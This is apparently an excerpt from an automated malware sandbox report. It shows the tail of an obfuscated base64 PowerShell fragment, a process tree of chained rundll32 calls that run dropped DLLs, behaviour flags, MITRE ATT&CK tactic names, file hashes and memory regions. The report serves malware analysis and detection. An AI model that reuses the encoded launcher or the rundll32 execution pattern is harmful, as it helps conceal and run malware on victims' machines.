cASwAnACsAJwBqAG8AJwApACsAJwA0ACcAKwAoACcAYgBtACcAKwAnAGcAJwApACkA
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:852
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll #1
        Suspicious use of WriteProcessMemory
        PID:272
        • C:\Windows\SysWOW64\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll #1
          Loads dropped DLL
          Drops file in System32 directory
          Suspicious use of WriteProcessMemory
          PID:2028
          • C:\Windows\SysWOW64\rundll32.exe
            C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hcna\gwpwnf.doh",RunDLL
            Blocklisted process makes network request
            Drops file in System32 directory
            Suspicious behavior: EnumeratesProcesses
            Suspicious use of WriteProcessMemory
            PID:1996
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hcna\tsyflrfgfpfocw.dll",RunDLL 8AEAACAAAABIAGMAbgBhAFwAZwB3AHAAdwBuAGYALgBkAG8AaAAAAA==
              Loads dropped DLL
              Drops file in System32 directory
              Suspicious behavior: EnumeratesProcesses
              Suspicious use of WriteProcessMemory
              PID:272
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hcna\gwpwnf.doh",Control_RunDLL
                Blocklisted process makes network request
                Suspicious behavior: EnumeratesProcesses
                PID:1032

Network

MITRE ATT&CK Matrix

Collection

Command and Control

Credential Access

Execution

Exfiltration

Impact

Initial Access

Lateral Movement

Persistence

Privilege Escalation

Replay Monitor

00:00 00:00

Downloads

  • C:\Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll
    MD5

    714cdae2b20896e72d92e28dc831b81b

    SHA1

    67021f3a6d4d0853c714b6b2d9ebc8114ec13765

    SHA256

    fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

    SHA512

    658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

  • C:\Windows\SysWOW64\Hcna\tsyflrfgfpfocw.dll
    MD5

    9a062ead5b2d55af0a5a4b39c5b5eadc

    SHA1

    fc83367be87c700a696b0329dab538b5e47d90bf

    SHA256

    a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

    SHA512

    693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

  • \Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll
    MD5

    714cdae2b20896e72d92e28dc831b81b

    SHA1

    67021f3a6d4d0853c714b6b2d9ebc8114ec13765

    SHA256

    fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

    SHA512

    658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

  • \Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll
    MD5

    714cdae2b20896e72d92e28dc831b81b

    SHA1

    67021f3a6d4d0853c714b6b2d9ebc8114ec13765

    SHA256

    fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

    SHA512

    658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

  • \Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll
    MD5

    714cdae2b20896e72d92e28dc831b81b

    SHA1

    67021f3a6d4d0853c714b6b2d9ebc8114ec13765

    SHA256

    fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

    SHA512

    658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

  • \Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll
    MD5

    714cdae2b20896e72d92e28dc831b81b

    SHA1

    67021f3a6d4d0853c714b6b2d9ebc8114ec13765

    SHA256

    fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

    SHA512

    658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

  • \Windows\SysWOW64\Hcna\tsyflrfgfpfocw.dll
    MD5

    9a062ead5b2d55af0a5a4b39c5b5eadc

    SHA1

    fc83367be87c700a696b0329dab538b5e47d90bf

    SHA256

    a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

    SHA512

    693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

  • \Windows\SysWOW64\Hcna\tsyflrfgfpfocw.dll
    MD5

    9a062ead5b2d55af0a5a4b39c5b5eadc

    SHA1

    fc83367be87c700a696b0329dab538b5e47d90bf

    SHA256

    a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

    SHA512

    693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

  • \Windows\SysWOW64\Hcna\tsyflrfgfpfocw.dll
    MD5

    9a062ead5b2d55af0a5a4b39c5b5eadc

    SHA1

    fc83367be87c700a696b0329dab538b5e47d90bf

    SHA256

    a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

    SHA512

    693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

  • \Windows\SysWOW64\Hcna\tsyflrfgfpfocw.dll
    MD5

    9a062ead5b2d55af0a5a4b39c5b5eadc

    SHA1

    fc83367be87c700a696b0329dab538b5e47d90bf

    SHA256

    a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

    SHA512

    693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

  • memory/272-31-0x0000000000000000-mapping.dmp
  • memory/272-18-0x0000000000000000-mapping.dmp
  • memory/272-40-0x0000000000230000-0x0000000000250000-memory.dmp
    Filesize

    128KB

  • memory/272-39-0x0000000000100000-0x000000000011D000-memory.dmp
    Filesize

    116KB

  • memory/272-38-0x0000000002110000-0x0000000002121000-memory.dmp
    Filesize

    68KB

  • memory/852-9-0x000007FEF5550000-0x000007FEF5F3C000-memory.dmp
    Filesize

    9MB

  • memory/852-17-0x000000001C3B0000-0x000000001C3B1000-memory.dmp
    Filesize

    4KB

  • memory/852-16-0x000000001C320000-0x000000001C321000-memory.dmp
    Filesize

    4KB

  • memory/852-15-0x0000000002270000-0x0000000002271000-memory.dmp
    Filesize

    4KB

  • memory/852-14-0x000000001ABF4000-0x000000001ABF6000-memory.dmp
    Filesize

    8KB

  • memory/852-13-0x000000001ABF0000-0x000000001ABF2000-memory.dmp
    Filesize

    8KB

  • memory/852-12-0x0000000002450000-0x0000000002451000-memory.dmp
    Filesize

    4KB

  • memory/852-11-0x000000001AC70000-0x000000001AC71000-memory.dmp
    Filesize

    4KB

  • memory/852-10-0x0000000002410000-0x0000000002411000-memory.dmp
    Filesize

    4KB

  • memory/852-8-0x000007FEFBDE1000-0x000007FEFBDE3000-memory.dmp
    Filesize

    8KB

  • memory/852-7-0x0000000000000000-mapping.dmp
  • memory/1032-41-0x0000000000000000-mapping.dmp
  • memory/1032-44-0x0000000000150000-0x0000000000170000-memory.dmp
    Filesize

    128KB

  • memory/1548-30-0x000007FEF63D0000-0x000007FEF664A000-memory.dmp
    Filesize

    2MB

  • memory/1740-2-0x00000000728E1000-0x00000000728E4000-memory.dmp
    Filesize

    12KB

  • memory/1740-5-0x0000000005D80000-0x0000000005D82000-memory.dmp
    Filesize

    8KB

  • memory/1740-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1740-3-0x0000000070361000-0x0000000070363000-memory.dmp
    Filesize

    8KB

  • memory/1824-6-0x0000000000000000-mapping.dmp
  • memory/1996-29-0x0000000000270000-0x0000000000292000-memory.dmp
    Filesize

    136KB

  • memory/1996-27-0x0000000000000000-mapping.dmp
  • memory/2028-26-0x00000000006B0000-0x00000000006D2000-memory.dmp
    Filesize

    136KB

  • memory/2028-21-0x00000000766F1000-0x00000000766F3000-memory.dmp
    Filesize

    8KB

  • memory/2028-20-0x0000000000000000-mapping.dmp